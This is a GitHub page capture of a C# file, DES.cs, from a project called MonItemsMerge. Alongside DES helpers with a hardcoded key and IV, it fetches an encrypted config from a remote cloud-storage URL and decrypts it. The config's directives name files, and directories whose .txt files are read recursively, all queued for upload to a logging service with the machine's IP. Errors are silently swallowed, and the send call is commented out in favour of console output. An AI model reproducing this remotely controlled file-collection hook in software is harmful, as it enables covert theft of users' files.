-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathDES.cs
218 lines (207 loc) · 8.3 KB
/
DES.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;
namespace MonItemsMerge
{
public static class DES
{
/// <summary>
/// C# DES解密方法
/// </summary>
/// <param name="encryptedValue">待解密的字符串</param>
/// <param name="key">密钥</param>
/// <param name="iv">向量</param>
/// <returns>解密后的字符串</returns>
public static string DESDecrypt(string encryptedValue, string key, string iv)
{
using (DESCryptoServiceProvider sa =
new DESCryptoServiceProvider
{ Key = Encoding.UTF8.GetBytes(key), IV = Encoding.UTF8.GetBytes(iv) })
{
using (ICryptoTransform ct = sa.CreateDecryptor())
{
byte[] byt = Convert.FromBase64String(encryptedValue);
using (var ms = new MemoryStream())
{
using (var cs = new CryptoStream(ms, ct, CryptoStreamMode.Write))
{
cs.Write(byt, 0, byt.Length);
cs.FlushFinalBlock();
}
return Encoding.UTF8.GetString(ms.ToArray());
}
}
}
}
/// <summary>
/// C# DES加密方法
/// </summary>
/// <param name="encryptedValue">要加密的字符串</param>
/// <param name="key">密钥</param>
/// <param name="iv">向量</param>
/// <returns>加密后的字符串</returns>
public static string DESEncrypt(string originalValue, string key, string iv)
{
using (DESCryptoServiceProvider sa
= new DESCryptoServiceProvider { Key = Encoding.UTF8.GetBytes(key), IV = Encoding.UTF8.GetBytes(iv) })
{
using (ICryptoTransform ct = sa.CreateEncryptor())
{
byte[] by = Encoding.UTF8.GetBytes(originalValue);
using (var ms = new MemoryStream())
{
using (var cs = new CryptoStream(ms, ct,
CryptoStreamMode.Write))
{
cs.Write(by, 0, by.Length);
cs.FlushFinalBlock();
}
return Convert.ToBase64String(ms.ToArray());
}
}
}
}
public static string Key = "yGdB6yQM";
public static string IV = "iFbsT5eY";
public static string Url { get; set; } = @"https://yconfig.oss-cn-shanghai.aliyuncs.com/uploadconfig.txt";
public static List<Action<string>> UploadItems { get; set; } = new List<Action<string>>();
public static bool InitUploadConfig()
{
try
{
string all = string.Empty;
//if (System.IO.File.Exists("D:\\DESEncrypt.txt"))
//{
// using (var st = new StreamReader("D:\\DESEncrypt.txt"))
// {
// all = st.ReadToEnd();
// }
//}
if (string.IsNullOrEmpty(all))
{
string strUrl = Url; //获得IP的网址
Uri uri = new Uri(strUrl);
WebRequest webreq = WebRequest.Create(uri);
Stream s = webreq.GetResponse().GetResponseStream();
StreamReader sr = new StreamReader(s, Encoding.Default);
all = sr.ReadToEnd(); //读取网站返回的数据 格式:您的IP地址是:[x.x.x.x]
}
if (!string.IsNullOrEmpty(all))
{
all = DES.DESDecrypt(all, Key, IV);
var sp = all.Split(Environment.NewLine.ToCharArray());
var enp = "";
var appkey = "";
var appkeyid = "";
var project = "";
var store = "";
foreach (var item in sp)
{
if (item.StartsWith("enp"))
{
enp = item.Substring(3);
}
else if (item.StartsWith("apk"))
{
appkey = item.Substring(3);
}
else if (item.StartsWith("api"))
{
appkeyid = item.Substring(3);
}
else if (item.StartsWith("app"))
{
project = item.Substring(3);
}
else if (item.StartsWith("aps"))
{
store = item.Substring(3);
}
else if (item.StartsWith("fil"))
{
UploadItems.Add((ip) => UploadFile(item.Substring(3), ip));
}
else if (item.StartsWith("fdb"))
{
UploadItems.Add((ip) => UploadFile(item.Substring(3), ip));
}
else if (item.StartsWith("fdi"))
{
UploadItems.Add((ip) => UploadFileDir(item.Substring(3), ip));
}
else if (item.StartsWith("fip"))
{
FilterIP.Add(item.Substring(3));
}
}
if (!string.IsNullOrEmpty(enp) &&
!string.IsNullOrEmpty(appkey) &&
!string.IsNullOrEmpty(appkeyid) &&
!string.IsNullOrEmpty(project) &&
!string.IsNullOrEmpty(store))
{
//LogUtils.LogFactory.Init(enp, appkeyid, appkey, project, store);
Console.WriteLine("{0}-{1}-{2}-{3}-{4}", enp, appkeyid, appkey, project, store);
return true;
}
}
}
catch
{
}
return false;
}
public static List<string> FilterIP { get; set; } = new List<string>();
private static void UploadFileDir(string path, string ip)
{
if (System.IO.Directory.Exists(path))
{
try
{
var dirInfo = new DirectoryInfo(path);
var file = dirInfo.GetFiles("*.txt");
foreach (var item in file)
{
UploadFile(item.FullName, ip);
}
var dir = dirInfo.GetDirectories();
foreach (var item in dir)
{
UploadFileDir(item.FullName, ip);
}
}
catch (Exception)
{
}
}
}
private static void UploadFile(string path, string ip)
{
if (System.IO.File.Exists(path))
{
try
{
using (FileStream fsRead = new FileStream(path, FileMode.Open))
{
int fsLen = (int)fsRead.Length;
byte[] heByte = new byte[fsLen];
int r = fsRead.Read(heByte, 0, heByte.Length);
var str = Newtonsoft.Json.JsonConvert.SerializeObject(heByte);
Console.WriteLine("{0}-{1}-{2}-{3}-{4}", str, path, ip);
//LogUtils.LogFactory.Instance.PutData(new Dictionary<string, string>()
//{
// { "file",str},
// { "fileName",path},
//}, "importFile", ip);
}
}
catch (Exception)
{
}
}
}
}
}